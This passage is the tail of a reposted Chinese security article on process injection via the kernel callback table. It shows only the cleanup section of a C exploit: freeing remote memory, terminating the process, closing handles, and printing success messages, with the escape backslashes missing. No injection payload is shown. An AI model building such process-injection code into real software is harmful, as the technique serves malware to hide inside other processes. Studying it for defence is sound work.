printf( COLOR_YELLOW_BOLD "t[*] Cleaning up...n" COLOR_RESET );
VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );
VirtualFreeEx( hProcess, cloneCCC, 0, MEM_RELEASE );
TerminateProcess( pi.hProcess, 0 );
CloseHandle( hProcess );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
printf( COLOR_GREEN_BOLD "n[+] YAAAAAAAAAY.n" COLOR_RESET );
printf( COLOR_GREEN_BOLD "[+] Exploit completed successfully.n" COLOR_RESET );
return 0;
}
原文始发于微信公众号(安全视安):【翻译】用于进程注入的内核回调表
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论